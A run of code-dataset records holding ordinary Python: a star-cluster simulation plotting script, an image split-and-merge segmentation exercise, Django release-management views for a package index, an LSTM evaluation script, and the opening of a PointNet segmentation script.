virial=2*kinetic+potential+potentialgas\ntotal=kineticstar+potentialstar+potential_star_gas+dEkcoll+dEpcoll#+dEgascoll#+dEkacc+dEpacc+dEgasacc\nfig1=plt.figure(dpi=72,figsize=(35, 31))\nax1= fig1.add_subplot(111)\n\n# plt.plot(time,Mgas, linewidth=12, color='red', linestyle = '-', label=r'${\\rm Gas\\, Mass}$')\n# plt.plot(time,Mstar, linewidth=12, color='blue', linestyle = '-', label=r'${\\rm Star\\, Mass}$')\n#plt.plot(time,Mmax, linewidth=12, color='blue', linestyle = '-')\n\n#plt.plot(time,Ncol, linewidth=12, color='blue', linestyle = '-')\n#plt.plot(time,Nencl, linewidth=12, color='blue', linestyle = '-')\n#plt.plot(time, escapers/numberofstars, linewidth=12, color='black', linestyle = '-')\n\n#plt.plot(time,lagrange50, linewidth=12, color='blue', linestyle = '-')\n#plt.plot(time,lagrange10, linewidth=12, color='blue', linestyle = '-')\n#plt.plot(time, lagrange90, linewidth=12, color='blue', linestyle = '-')\n#plt.plot(time, rcore, linewidth=12, color='blue', linestyle = '-')\nplt.plot(time, densitycore, linewidth=12, color='blue', linestyle = '-')\n\n# plt.plot(time,kineticstar/1.e+45, linewidth=12, color='red', linestyle = '-', label=r'${\\rm KE}$')\n# plt.plot(time,potentialstar/1.e+45, linewidth=12, color='blue', linestyle = '-', label=r'${\\rm PE}$')\n# plt.plot(time,potential_star_gas/1.e+45, linewidth=12, color='green', linestyle = '-', label=r'${\\rm PE_{gas}}$')\n# plt.plot(time,total/1.e+45, linewidth=12, color='black', linestyle = '-', label=r'${\\rm Total}$')\n\n# plt.plot(time,totalkinetic, linewidth=12, color='red', linestyle = '-', label=r'${\\rm KE}$')\n# plt.plot(time,totalpotential, linewidth=12, color='blue', linestyle = '-', label=r'${\\rm PE}$')\n# plt.plot(time,totalcluster, linewidth=12, color='black', linestyle = '-', label=r'${\\rm Total}$')\n# plt.plot(time,virialtotal, linewidth=12, color='brown', linestyle = '-', label=r'${\\rm 2\\times E_K+E_p}$')\n\n\n#plt.plot(time,dE/total, linewidth=12, color='black', linestyle = '-', label=r'${\\rm Total}$')\n#plt.plot(time, Q, linewidth=12, color='black', linestyle = '-', label=r'${\\rm Total}$')\n\n\n\n\nax1.set_yscale(\"log\")\n#ax1.set_xscale(\"log\")\n#ax1.set_ylim(-0.5,0.5)\nax1.set_xlim(0,5)\nax1.xaxis.set_label_text(r'$ {\\rm time[Myr]}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm dE_{total}/E_{total}}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Mass[10^5 M_\\odot]}$', fontsize = 120, color='black')\nax1.yaxis.set_label_text(r'${\\rm Number\\,of\\,collisions}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm M_{max}(10^4M_\\odot)}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Half-Mass\\, Radius[pc]}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm 10\\%\\,Lagrange\\,Radius[pc]}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm 90\\%\\,Lagrange\\,Radius[pc]}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Core\\,Radius[pc]}$', fontsize = 120, color='black')\nax1.yaxis.set_label_text(r'${\\rm Core\\,Density[kg/pc^{-3}]}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Energy(10^{45} J)}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Number\\, of\\, escapers}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm N_{esc}/N_{total}}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm \\sigma(km.s^{-1})}$', fontsize = 120, color='black')\n#ax1.yaxis.set_label_text(r'${\\rm Number\\, of\\, Stars}$', fontsize = 120, color='black')\n\n#ax1.text(0.04, 200, r'${\\rm M_{init}=0.1M_\\odot}$',fontsize=80)\n#ax1.text(0.05, 1, r'${\\rm M_{init}=0.1M_\\odot}$',fontsize=80)\nax1.tick_params('both', labelsize=90, length=40, width=3, which='major',pad=40)\nax1.tick_params('both', length=25, width=1, which='minor')\n#ax1.set_xticks([0.1,1,10])\n#ax1.set_yticks([1.e+51,2.e+51])\n#ax1.get_xaxis().get_major_formatter()\n#ax1.get_yaxis().set_major_formatter(matplotlib.ticker.ScalarFormatter())\n#ax1.yaxis.set_major_formatter(mtick.FormatStrFormatter('%.0e'))\n#ax1.get_yaxis().get_major_formatter()\n\n#f = mticker.ScalarFormatter(useOffset=False, useMathText=True)\n#g = lambda x,pos : \"${}$\".format(f._formatSciNotation('%1.10e' % x))\n#plt.gca().yaxis.set_major_formatter(mticker.FuncFormatter(g))\n\n#plt.legend(fancybox=True, shadow=True, fontsize=70,loc='center right')\nplt.tight_layout()\nplt.savefig('densitycore.pdf')\n", "sub_path": "coredensity.py", "file_name": "coredensity.py", "file_ext": "py", "file_size_in_byte": 5730, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_pickle", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}]} +{"seq_id": "394093598", "text": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom PIL import Image # Importation de la librairie d'image PIL\nim = Image.open('INF_1_BE_2/Image10.bmp')\npx = im.load() # Importation des pixels de l'image\nw, h = im.size\n\n\ndef readrgb(px, x, y):\n \"\"\"\n Lire la valeur d'un pixel.\n Paremetres:\n px: un array des pixels.\n x, y: la coordinate.\n Return: (r, g, b)\n \"\"\"\n r, g, b = px[x, y]\n return (r, g, b)\n\n\ndef writergb(px, x, y, r, g, b):\n \"\"\"\n Affecter la valeur d'un piexl.\n Parametres:\n px: un array des pixels.\n x, y: la coordinate.\n r, g, b: la valeur qu'on veut.\n Return: null\n \"\"\"\n px[x, y] = (r, g, b)\n\n\ndef writergb_rec(x0, y0, l, h, r, g, b):\n \"\"\"\n Affecter la valeur d'un rectangle.\n Parametres:\n px: un array des pixels.\n x0, y0: la coordinate d'un point the most left-up\n r, g, b: la valeur qu'on veut.\n l, h: la longue et la largeur d'un rectangle.\n Return: null\n \"\"\"\n for i in range(x0, x0 + l):\n for j in range(y0, y0 + h):\n px[i, j] = int(r), int(g), int(b)\n\n\ndef rectangle_homogene(seuil, xo, y0, l, h):\n \"\"\"\n Juge si le rectangle est homogene suffisant.\n Parametres:\n seuil: la seuil de la variance.\n x0, y0: la coordinate d'un point the most left-up\n l, h: la longue et la largeur d'un rectangle.\n Return: 1 si le rectangle est homogene et 0 sinon.\n \"\"\"\n import numpy as np\n r = np.arange(l * h).reshape([l, h])\n g = np.arange(l * h).reshape([l, h])\n b = np.arange(l * h).reshape([l, h])\n for i in range(l):\n for j in range(h):\n r[i, j], g[i, j], b[i, j] = px[i, j]\n rvar = r.var()\n gvar = g.var()\n bvar = b.var()\n if (rvar <= seuil) & (gvar <= seuil) & (bvar <= seuil):\n return 1\n else:\n return 0\n\n\nnum = -1\nL_regions = []\n\n\ndef splitpx(seuil, x0, y0, l, h):\n \"\"\"\n Lire la valeur d'un image et le split le plus possible, dans la critere de la fonction rectangel_homogene.\n Apres merge l'image, l'affecter et la sauvrager dans l'array px.\n Parametres:\n seuil: la seuil de la variance.\n x0, y0: la coordinate d'un point the most left-up\n l, h: la longue et la largeur d'un rectangle.\n Global:\n num： pour numerer la part d'une liste\n L_regions: la liste.\n Return une liste avec la forme [num, x0, y0, x0+l, y0+h, r, g, b]\n \"\"\"\n global num\n global L_regions\n if rectangle_homogene(seuil, x0, y0, l, h) == 0:\n if (l >= 2) & (h >= 2):\n splitpx(seuil, x0, y0, int(l / 2), int(h / 2))\n splitpx(seuil, x0 + int(l / 2), y0, l - int(l / 2), int(h / 2))\n splitpx(seuil, x0, y0 + int(h / 2), int(l / 2), h - int(h / 2))\n splitpx(seuil, x0 + int(l / 2), y0 + int(h / 2),\n l - int(l / 2), h - int(h / 2))\n else:\n r, g, b = px[x0, y0]\n num += 1\n L_regions.append([num, x0, y0, x0 + l, y0 + h, r, g, b])\n else:\n import numpy as np\n rarr = np.arange(l * h).reshape([l, h])\n garr = np.arange(l * h).reshape([l, h])\n barr = np.arange(l * h).reshape([l, h])\n for i in range(l):\n for j in range(h):\n rarr[i, j], garr[i, j], barr[i, j] = px[x0 + i, y0 + j]\n r = rarr.sum() / (l * h)\n g = garr.sum() / (l * h)\n b = barr.sum() / (l * h)\n writergb_rec(x0, y0, l, h, r, g, b)\n num += 1\n L_regions.append([num, x0, y0, x0 + l, y0 + h, r, g, b])\n\n\nsplitpx(1, 0, 0, w, h)\n\n\ndef test_adjacent(num1, num2):\n \"\"\"\n La fonction pour tester si deux region sont adjacents.\n Parametre:\n num1, num2: representer deux region comme la fonction 'splitpx'\n Return: 1 si adjacent et 0 sinon.\n \"\"\"\n import math\n x01 = L_regions[num1][1]\n y01 = L_regions[num1][2]\n xf1 = L_regions[num1][3]\n yf1 = L_regions[num1][4]\n x02 = L_regions[num2][1]\n y02 = L_regions[num2][2]\n xf2 = L_regions[num2][3]\n yf2 = L_regions[num2][4]\n W1 = math.fabs(x01 - xf1) / 2\n W2 = math.fabs(x02 - xf2) / 2\n H1 = math.fabs(y01 - yf1) / 2\n H2 = math.fabs(y02 - yf2) / 2\n x1 = (x01 + xf1) / 2\n y1 = (y01 + yf1) / 2\n x2 = (x02 + xf2) / 2\n y2 = (y02 + yf2) / 2\n dx = math.fabs(x1 - x2)\n dy = math.fabs(y1 - y2)\n if (dx <= (W1 + W2)) & (dy <= (H1 + H2)) & \\\n (not ((dx == (W1 + W2)) & (dy == (H1 + H2)))):\n return 1\n else:\n return 0\n\n\ndef adjacent():\n \"\"\"\n Pour chercher tout les regions qui sont adjacents\n \"\"\"\n n = len(L_regions)\n L_adjacent = [[i] for i in range(n)]\n for i in range(n):\n for j in range(n):\n if (test_adjacent(i, j)) & (i != j):\n L_adjacent[i].append(j)\n return L_adjacent\n\n\ndef couleur_similaire(num1, num2, seuil):\n \"\"\"\n Pour juger si les des parts sont similaires.\n Parametre:\n num1, num2: le numero dans L_regions\n seuil: la differance dans la valeur de r, g, b\n Return:\n 1 si similaire et 0 sinon\n \"\"\"\n import math\n r1 = L_regions[num1][5]\n r2 = L_regions[num2][5]\n g1 = L_regions[num1][6]\n g2 = L_regions[num2][6]\n b1 = L_regions[num1][7]\n b2 = L_regions[num2][7]\n if (math.fabs(r1 - r2) <= seuil) & (math.fabs(g1 - g2) <= seuil) & \\\n (math.fabs(b1 - b2) <= seuil):\n return 1\n else:\n return 0\n\n\ndef adjacent_suivant(seuil, L_adjacent):\n \"\"\"\n Merge les parts.\n Parametres:\n seuil: la seuil de differance en r, g, b pour merge\n L_adjacent: resultat de fonction L_adjacent()\n \"\"\"\n n = len(L_adjacent)\n L_adjacent_suivant = L_adjacent\n for i in range(n):\n if L_adjacent[i][0] != 'D':\n m = len(L_adjacent[i])\n for j in range(1, m):\n if L_adjacent_suivant[L_adjacent_suivant[i][j]][0] != 'D':\n if couleur_similaire(i, L_adjacent[i][j], seuil):\n for elem in L_adjacent[L_adjacent[i][j]]:\n L_adjacent_suivant[i].append(elem)\n L_adjacent_suivant[L_adjacent_suivant[i][j]][0] = 'D'\n m = len(L_adjacent[i])\n slice = [\n L_adjacent_suivant[i][k] for k in range(1, m)\n if L_adjacent_suivant[i][k] != L_adjacent_suivant[i][0]\n ]\n temp = [L_adjacent_suivant[i][0]]\n for elem in slice:\n if elem not in temp and (couleur_similaire(i, elem, seuil)):\n temp += [elem]\n L_adjacent_suivant[i] = temp\n return L_adjacent_suivant\n\n\nL_adjacent = adjacent()\nL_adjacent_suivant = adjacent_suivant(10, L_adjacent)\n\n\nfor row in L_adjacent_suivant:\n if row[0] != 'D':\n r = L_regions[row[0]][5]\n g = L_regions[row[0]][6]\n b = L_regions[row[0]][7]\n for ligne in row:\n temp = L_regions[ligne]\n writergb_rec(temp[1], temp[2], temp[3]-temp[1], temp[4]-temp[2], \\\n r, g, b)\n\n\nim.save('INF_1_BE_2/Image10_traite.bmp')\n", "sub_path": "INF_1_BE_2/merge.py", "file_name": "merge.py", "file_ext": "py", "file_size_in_byte": 7088, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "PIL.Image.open", "line_number": 5, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 5, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 108, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 139, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 140, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 141, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 142, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 147, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 148, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 185, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 186, "usage_type": "call"}]} +{"seq_id": "633893239", "text": "from django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.forms.models import inlineformset_factory\nfrom django.http import Http404, HttpResponseRedirect\nfrom django.views.generic.list import ListView\nfrom django.views.generic.edit import UpdateView\nfrom django.views.generic.base import RedirectView\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.template import RequestContext\n\nfrom djangopypi.decorators import user_owns_package, user_maintains_package\nfrom djangopypi.models import Package, Release, Distribution\nfrom djangopypi.forms import ReleaseForm, DistributionUploadForm\n\n\n\nclass IndexView(ListView):\n\n def get_queryset(self):\n return Release.objects.filter(hidden=False)\n\nindex = IndexView.as_view()\n\n\ndef details(request, package, version, **kwargs):\n release = get_object_or_404(Package, name=package).get_release(version)\n\n if not release:\n raise Http404('Version %s does not exist for %s' % (version,\n package,))\n\n kwargs.setdefault('template_object_name','release')\n kwargs.setdefault('template_name','djangopypi/release_detail.html')\n kwargs.setdefault('extra_context',{})\n kwargs.setdefault('mimetype',settings.DEFAULT_CONTENT_TYPE)\n\n kwargs['extra_context'][kwargs['template_object_name']] = release\n\n return render_to_response(kwargs['template_name'], kwargs['extra_context'],\n context_instance=RequestContext(request),\n mimetype=kwargs['mimetype'])\n\ndef doap(request, package, version, **kwargs):\n kwargs.setdefault('template_name','djangopypi/release_doap.xml')\n kwargs.setdefault('mimetype', 'text/xml')\n return details(request, package, version, **kwargs)\n\n\nclass Manage(UpdateView):\n\n form_class = ReleaseForm\n template_name = 'djangopypi/release_manage.html'\n\n def get_object(self, queryset=None):\n return Release.objects.get(pk=self.kwargs['object_id'])\n\n@user_maintains_package()\ndef manage(request, package, version, **kwargs):\n release = get_object_or_404(Package, name=package).get_release(version)\n if not release:\n raise Http404('Version %s does not exist for %s' % (version, package))\n return Manage.as_view()(request, object_id=release.pk)\n\n@user_maintains_package()\ndef manage_metadata(request, package, version, **kwargs):\n kwargs.setdefault('template_name', 'djangopypi/release_manage.html')\n kwargs.setdefault('template_object_name', 'release')\n kwargs.setdefault('extra_context',{})\n kwargs.setdefault('mimetype',settings.DEFAULT_CONTENT_TYPE)\n\n release = get_object_or_404(Package, name=package).get_release(version)\n\n if not release:\n raise Http404('Version %s does not exist for %s' % (version,\n package,))\n\n if not release.metadata_version in settings.DJANGOPYPI_METADATA_FORMS:\n #TODO: Need to change this to a more meaningful error\n raise Http404()\n\n kwargs['extra_context'][kwargs['template_object_name']] = release\n\n form_class = settings.DJANGOPYPI_METADATA_FORMS.get(release.metadata_version)\n\n initial = {}\n multivalue = ('classifier',)\n\n for key, values in release.package_info.iterlists():\n if key in multivalue:\n initial[key] = values\n else:\n initial[key] = '\\n'.join(values)\n\n if request.method == 'POST':\n form = form_class(data=request.POST, initial=initial)\n\n if form.is_valid():\n for key, value in form.cleaned_data.iteritems():\n if isinstance(value, basestring):\n release.package_info[key] = value\n elif hasattr(value, '__iter__'):\n release.package_info.setlist(key, list(value))\n\n release.save()\n return HttpResponseRedirect(release.get_absolute_url())\n else:\n form = form_class(initial=initial)\n\n kwargs['extra_context']['form'] = form\n\n return render_to_response(kwargs['template_name'], kwargs['extra_context'],\n context_instance=RequestContext(request),\n mimetype=kwargs['mimetype'])\n\n@user_maintains_package()\ndef manage_files(request, package, version, **kwargs):\n release = get_object_or_404(Package, name=package).get_release(version)\n\n if not release:\n raise Http404('Version %s does not exist for %s' % (version,\n package,))\n\n kwargs.setdefault('formset_factory_kwargs',{})\n kwargs['formset_factory_kwargs'].setdefault('fields', ('comment',))\n kwargs['formset_factory_kwargs']['extra'] = 0\n\n kwargs.setdefault('formset_factory', inlineformset_factory(Release, Distribution, **kwargs['formset_factory_kwargs']))\n kwargs.setdefault('template_name', 'djangopypi/release_manage_files.html')\n kwargs.setdefault('template_object_name', 'release')\n kwargs.setdefault('extra_context',{})\n kwargs.setdefault('mimetype',settings.DEFAULT_CONTENT_TYPE)\n kwargs['extra_context'][kwargs['template_object_name']] = release\n kwargs.setdefault('formset_kwargs',{})\n kwargs['formset_kwargs']['instance'] = release\n kwargs.setdefault('upload_form_factory', DistributionUploadForm)\n\n if request.method == 'POST':\n formset = kwargs['formset_factory'](data=request.POST,\n files=request.FILES,\n **kwargs['formset_kwargs'])\n if formset.is_valid():\n formset.save()\n formset = kwargs['formset_factory'](**kwargs['formset_kwargs'])\n else:\n formset = kwargs['formset_factory'](**kwargs['formset_kwargs'])\n\n kwargs['extra_context']['formset'] = formset\n kwargs['extra_context'].setdefault('upload_form',\n kwargs['upload_form_factory']())\n\n return render_to_response(kwargs['template_name'], kwargs['extra_context'],\n context_instance=RequestContext(request),\n mimetype=kwargs['mimetype'])\n\n@user_maintains_package()\ndef upload_file(request, package, version, **kwargs):\n release = get_object_or_404(Package, name=package).get_release(version)\n\n if not release:\n raise Http404('Version %s does not exist for %s' % (version,\n package,))\n\n kwargs.setdefault('form_factory', DistributionUploadForm)\n kwargs.setdefault('post_save_redirect', reverse('djangopypi-release-manage-files',\n kwargs={'package': package,\n 'version': version}))\n kwargs.setdefault('template_name', 'djangopypi/release_upload_file.html')\n kwargs.setdefault('template_object_name', 'release')\n kwargs.setdefault('extra_context',{})\n kwargs.setdefault('mimetype',settings.DEFAULT_CONTENT_TYPE)\n kwargs['extra_context'][kwargs['template_object_name']] = release\n\n if request.method == 'POST':\n form = kwargs['form_factory'](data=request.POST, files=request.FILES)\n if form.is_valid():\n dist = form.save(commit=False)\n dist.release = release\n dist.uploader = request.user\n dist.save()\n\n return RedirectView.as_view(kwargs.get('post_save_redirect'), release)\n else:\n form = kwargs['form_factory']()\n\n kwargs['extra_context']['form'] = form\n\n return render_to_response(kwargs['template_name'], kwargs['extra_context'],\n context_instance=RequestContext(request),\n mimetype=kwargs['mimetype'])\n", "sub_path": "src/djangopypi/views/releases.py", "file_name": "releases.py", "file_ext": "py", "file_size_in_byte": 7801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.views.generic.list.ListView", "line_number": 17, "usage_type": "name"}, {"api_name": "djangopypi.models.Release.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "djangopypi.models.Release.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "djangopypi.models.Release", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 26, "usage_type": "call"}, {"api_name": "djangopypi.models.Package", "line_number": 26, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CONTENT_TYPE", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 35, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 39, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 40, "usage_type": "call"}, {"api_name": "django.views.generic.edit.UpdateView", "line_number": 49, "usage_type": "name"}, {"api_name": "djangopypi.forms.ReleaseForm", "line_number": 51, "usage_type": "name"}, {"api_name": "djangopypi.models.Release.objects.get", "line_number": 55, "usage_type": "call"}, {"api_name": "djangopypi.models.Release.objects", "line_number": 55, "usage_type": "attribute"}, {"api_name": "djangopypi.models.Release", "line_number": 55, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 59, "usage_type": "call"}, {"api_name": "djangopypi.models.Package", "line_number": 59, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 61, "usage_type": "call"}, {"api_name": "djangopypi.decorators.user_maintains_package", "line_number": 57, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CONTENT_TYPE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 69, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 71, "usage_type": "call"}, {"api_name": "djangopypi.models.Package", "line_number": 71, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 74, "usage_type": "call"}, {"api_name": "django.conf.settings.DJANGOPYPI_METADATA_FORMS", "line_number": 77, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 77, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 79, "usage_type": "call"}, {"api_name": "django.conf.settings.DJANGOPYPI_METADATA_FORMS.get", "line_number": 83, "usage_type": "call"}, {"api_name": "django.conf.settings.DJANGOPYPI_METADATA_FORMS", "line_number": 83, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 83, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 105, "usage_type": "call"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 111, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 112, "usage_type": "call"}, {"api_name": "djangopypi.decorators.user_maintains_package", "line_number": 64, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 117, "usage_type": "call"}, {"api_name": "djangopypi.models.Package", "line_number": 117, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 120, "usage_type": "call"}, {"api_name": "django.forms.models.inlineformset_factory", "line_number": 127, "usage_type": "call"}, {"api_name": "djangopypi.models.Release", "line_number": 127, "usage_type": "argument"}, {"api_name": "djangopypi.models.Distribution", "line_number": 127, "usage_type": "argument"}, {"api_name": "django.conf.settings.DEFAULT_CONTENT_TYPE", "line_number": 131, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 131, "usage_type": "name"}, {"api_name": "djangopypi.forms.DistributionUploadForm", "line_number": 135, "usage_type": "argument"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 151, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 152, "usage_type": "call"}, {"api_name": "djangopypi.decorators.user_maintains_package", "line_number": 115, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 157, "usage_type": "call"}, {"api_name": "djangopypi.models.Package", "line_number": 157, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 160, "usage_type": "call"}, {"api_name": "djangopypi.forms.DistributionUploadForm", "line_number": 163, "usage_type": "argument"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 164, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_CONTENT_TYPE", "line_number": 170, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 170, "usage_type": "name"}, {"api_name": "django.views.generic.base.RedirectView.as_view", "line_number": 181, "usage_type": "call"}, {"api_name": "django.views.generic.base.RedirectView", "line_number": 181, "usage_type": "name"}, {"api_name": "django.shortcuts.render_to_response", "line_number": 187, "usage_type": "call"}, {"api_name": "django.template.RequestContext", "line_number": 188, "usage_type": "call"}, {"api_name": "djangopypi.decorators.user_maintains_package", "line_number": 155, "usage_type": "call"}]} +{"seq_id": "648601490", "text": "import math\nimport numpy as np\nfrom lstm_Single_pre import data_pre\nfrom keras.models import load_model\nfrom sklearn.metrics import mean_squared_error\n\n# X_train,X_test,y_train,y_test,y_scale=data_pre(1)\n\nmodel = load_model('model_5_singletime.h5')\n\n# y_hat1 =model.predict(X_train)\n# y_hat1 = y_scale.inverse_transform(y_hat1)\n# y_train = y_scale.inverse_transform(y_train)\n# train_rmse = math.sqrt(mean_squared_error(y_train,y_hat1))\n# print('Train Score:%.6f RMSE'%(train_rmse))\n#\n# y_hat2 =model.predict(X_test)\n# y_hat2 = y_scale.inverse_transform(y_hat2)\n# y_test = y_scale.inverse_transform(y_test)\n# test_rmse = math.sqrt(mean_squared_error(y_test,y_hat2))\n# print('Test Score:%.6f RMSE'%(test_rmse))\ntrainX,testX,trainY,testY,scaler,train,test,train_size=data_pre(1)\ntrainPredict =model.predict(trainX)\ntestPredict =model.predict(testX)\n#数据反归一化\ntrainPredict = scaler.inverse_transform(trainPredict)\ntrainY = scaler.inverse_transform([trainY])\ntestPredict = scaler.inverse_transform(testPredict)\ntestY = scaler.inverse_transform([testY])\n\ntrainScore=math.sqrt(mean_squared_error(trainY[0],trainPredict[:,0]))\nprint('Train Score:%.6f RMSE'%(trainScore))\nmape1 = np.mean(np.abs((trainY[0]-trainPredict[:,0])/trainY[0]))*100\nprint('Train MAPE:%.3f' % mape1)\ntestScore=math.sqrt(mean_squared_error(testY[0],testPredict[:,0]))\nprint('Test Score:%.6f RMSE'%(testScore))\nmape2 = np.mean(np.abs((testY[0]-testPredict[:,0])/testY[0]))*100\nprint('Test MAPE:%.3f' % mape2)\n# testScore=math.sqrt(mean_squared_error(testY[0][:-1],testPredict[1:,0]))\n# print('Test Score:%.6f RMSE'%(testScore))\n# mape2 = np.mean(np.abs((testY[0][:-1]-testPredict[1:,0])/testY[0][:-1]))*100\n# print('Test MAPE:%.3f' % mape2)", "sub_path": "model/Single_multivariate-master/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "keras.models.load_model", "line_number": 9, "usage_type": "call"}, {"api_name": "lstm_Single_pre.data_pre", "line_number": 22, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 33, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "366858395", "text": "import argparse\nimport tensorflow as tf\nimport json\nimport numpy as np\nimport os\nimport sys\nfrom glob import glob\nimport sys\nfrom sklearn.preprocessing import StandardScaler\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.dirname(BASE_DIR))\nsys.path.append(\"/usr/local/lib/python3.6/site-packages/\")\nimport pptk\nimport provider\nimport pointnet_part_seg as model\nimport fill_in_holes\nfrom sklearn.tree import DecisionTreeClassifier\nimport _pickle as cPickle\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_path', default='train_results/part_seg_ver3/best_eval.ckpt', help='Model checkpoint path')\nFLAGS = parser.parse_args()\nscaler = StandardScaler()\n\n# 